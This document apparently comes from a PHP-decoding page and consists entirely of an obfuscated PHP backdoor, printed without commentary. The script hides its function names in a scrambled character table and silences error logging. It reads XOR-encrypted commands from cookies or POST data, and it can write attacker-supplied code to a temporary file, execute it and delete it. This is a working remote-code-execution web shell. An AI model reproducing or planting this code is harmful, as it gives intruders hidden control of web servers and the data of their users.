PHP Decode

<?php 
$hpghqk = 'L1oFl/_5s-E2(nz@9vkg\'4Nxht3Uyi; ecfda6u<jr.0I7bm)p?'; 
$efsdqlj = array(); 
$efsdqlj[] = $hpghqk[21] . $hpghqk[32] . $hpghqk[34] . $hpghqk[37] . $hpghqk[26] . $hpghqk[36] . $hpghqk[46] . $hpghqk[32] . $hpghqk[9] . $hpghqk[1] . $hpghqk[36] . $hpghqk[46] . $hpghqk[35] . $hpghqk[9] . $hpghqk[21] . $hpghqk[7] . $hpghqk[36] . $hpghqk[37] . $hpghqk[9] . $hpghqk[16] . $hpghqk[1] . $hpghqk[26] . $hpghqk[35] . $hpghqk[9] . $hpghqk[37] . $hpghqk[34] . $hpghqk[46] . $hpghqk[16] . $hpghqk[16] . $hpghqk[37] . $hpghqk[7] . $hpghqk[45] . $hpghqk[32] . $hpghqk[11] . $hpghqk[21] . $hpghqk[46]; 
$efsdqlj[] = $hpghqk[50] . $hpghqk[49] . $hpghqk[24] . $hpghqk[49] . $hpghqk[31] . $hpghqk[15] . $hpghqk[38] . $hpghqk[13] . $hpghqk[4] . $hpghqk[29] . $hpghqk[13] . $hpghqk[18] . $hpghqk[12] . $hpghqk[6] . $hpghqk[6] . $hpghqk[3] . $hpghqk[44] . $hpghqk[0] . $hpghqk[10] . $hpghqk[6] . $hpghqk[6] . $hpghqk[48] . $hpghqk[30] . $hpghqk[31]; 
$efsdqlj[] = $hpghqk[47] . $hpghqk[36] . $hpghqk[23] . $hpghqk[6] . $hpghqk[32] . $hpghqk[23] . $hpghqk[32] . $hpghqk[33] . $hpghqk[38] . $hpghqk[25] . $hpghqk[29] . $hpghqk[2] . $hpghqk[13] . $hpghqk[6] . $hpghqk[25] . $hpghqk[29] . $hpghqk[47] . $hpghqk[32]; 
$efsdqlj[] = $hpghqk[4] . $hpghqk[2] . $hpghqk[19] . $hpghqk[6] . $hpghqk[32] . $hpghqk[41] . $hpghqk[41] . $hpghqk[2] . $hpghqk[41] . $hpghqk[8]; 
$efsdqlj[] = $hpghqk[32] . $hpghqk[41] . $hpghqk[41] . $hpghqk[2] . $hpghqk[41] . $hpghqk[6] . $hpghqk[4] . $hpghqk[2] . $hpghqk[19]; 
$efsdqlj[] = $hpghqk[1] . $hpghqk[42] . $hpghqk[43] . $hpghqk[9] . $hpghqk[1]; 
$efsdqlj[] = $hpghqk[42] . $hpghqk[29] . $hpghqk[13] . $hpghqk[33]; 
$efsdqlj[] = $hpghqk[36] . $hpghqk[18]; 
$efsdqlj[] = $hpghqk[49] . $hpghqk[17]; 
$efsdqlj[] = $hpghqk[42] . $hpghqk[5]; 
$efsdqlj[] = $hpghqk[8] . $hpghqk[17]; 
$efsdqlj[] = $hpghqk[35]; 
$efsdqlj[] = $hpghqk[29]; 
$efsdqlj[] = $hpghqk[36]; 
$efsdqlj[] = $hpghqk[32]; 
$efsdqlj[] = $hpghqk[39]; 
$efsdqlj[] = $hpghqk[34] . $hpghqk[29] . $hpghqk[4] . $hpghqk[32] . $hpghqk[6] . $hpghqk[49] . $hpghqk[38] . $hpghqk[25] . $hpghqk[6] . $hpghqk[33] . $hpghqk[2] . $hpghqk[13] . $hpghqk[25] . $hpghqk[32] . $hpghqk[13] . $hpghqk[25] . $hpghqk[8]; 
$efsdqlj[] = $hpghqk[8] . $hpghqk[32] . $hpghqk[25] . $hpghqk[6] . $hpghqk[25] . $hpghqk[29] . $hpghqk[47] . $hpghqk[32] . $hpghqk[6] . $hpghqk[4] . $hpghqk[29] . $hpghqk[47] . $hpghqk[29] . $hpghqk[25]; 
$efsdqlj[] = $hpghqk[46] . $hpghqk[36] . $hpghqk[8] . $hpghqk[32] . $hpghqk[37] . $hpghqk[21] . $hpghqk[6] . $hpghqk[35] . $hpghqk[32] . $hpghqk[33] . $hpghqk[2] . $hpghqk[35] . $hpghqk[32]; 
$efsdqlj[] = $hpghqk[38] . $hpghqk[13] . $hpghqk[8] . $hpghqk[32] . $hpghqk[41] . $hpghqk[29] . $hpghqk[36] . $hpghqk[4] . $hpghqk[29] . $hpghqk[14] . $hpghqk[32]; 
$efsdqlj[] = $hpghqk[36] . $hpghqk[41] . $hpghqk[41] . $hpghqk[36] . $hpghqk[28] . $hpghqk[6] . $hpghqk[47] . $hpghqk[32] . $hpghqk[41] . $hpghqk[19] . $hpghqk[32]; 
$efsdqlj[] = $hpghqk[49] . $hpghqk[24] . $hpghqk[49] . $hpghqk[17] . $hpghqk[32] . $hpghqk[41] . $hpghqk[8] . $hpghqk[29] . $hpghqk[2] . $hpghqk[13]; 
$efsdqlj[] = $hpghqk[8] . $hpghqk[32] . $hpghqk[41] . $hpghqk[29] . $hpghqk[36] . $hpghqk[4] . $hpghqk[29] . $hpghqk[14] . $hpghqk[32]; 
$efsdqlj[] = $hpghqk[29] . $hpghqk[13] . $hpghqk[29] . $hpghqk[6] . $hpghqk[8] . $hpghqk[32] . $hpghqk[25]; 
$efsdqlj[] = $hpghqk[8] . $hpghqk[25] . $hpghqk[41] . $hpghqk[4] . $hpghqk[32] . $hpghqk[13]; 
$efsdqlj[] = $hpghqk[22] . $hpghqk[27] . $hpghqk[0] . $hpghqk[0]; 
$efsdqlj[] = $hpghqk[33] . $hpghqk[24] . $hpghqk[41]; 
$efsdqlj[] = $hpghqk[2] . $hpghqk[41] . $hpghqk[35]; 
$efsdqlj[] = $hpghqk[47] . $hpghqk[35] . $hpghqk[7]; 
@$efsdqlj[23]($efsdqlj[4], $efsdqlj[25]); 
@$efsdqlj[23]($efsdqlj[3], 0); 
@$efsdqlj[23]($efsdqlj[2], 0); 
@$efsdqlj[17](0); 
function gehxn($efsdqlj, $rklowc, $nvfbdin) 
{ 
    $wfqzhke = ""; 
    for ($ujmsky = 0; $ujmsky < $efsdqlj[24]($rklowc);) { 
        for ($pagog = 0; $pagog < $efsdqlj[24]($nvfbdin) && $ujmsky < $efsdqlj[24]($rklowc); $pagog++, $ujmsky++) { 
            $wfqzhke .= $efsdqlj[26]($efsdqlj[27]($rklowc[$ujmsky]) ^ $efsdqlj[27]($nvfbdin[$pagog])); 
        } 
    } 
    return $wfqzhke; 
} 
 
$kgwuky = $efsdqlj[20]($_COOKIE, $_POST); 
$evujso = $efsdqlj[0]; 
foreach ($kgwuky as $mojpu => $rklowc) { 
    $rklowc = @$efsdqlj[19](gehxn($efsdqlj, gehxn($efsdqlj, $efsdqlj[18]($rklowc), $evujso), $mojpu)); 
    if (isset($rklowc[$efsdqlj[7]])) { 
        if ($rklowc[$efsdqlj[13]] == $efsdqlj[12]) { 
            $ujmsky = array($efsdqlj[8] => @$efsdqlj[21](), $efsdqlj[10] => $efsdqlj[5],); 
            echo @$efsdqlj[22]($ujmsky); 
        } elseif ($rklowc[$efsdqlj[13]] == $efsdqlj[14]) { 
            $gestyu = $efsdqlj[9] . $efsdqlj[28]($evujso) . $efsdqlj[6]; 
            @$efsdqlj[16]($gestyu, $efsdqlj[15] . $efsdqlj[1] . $rklowc[$efsdqlj[11]]); 
            @include($gestyu); 
            @unlink($gestyu); 
        } 
        exit(); 
    } 
} ?>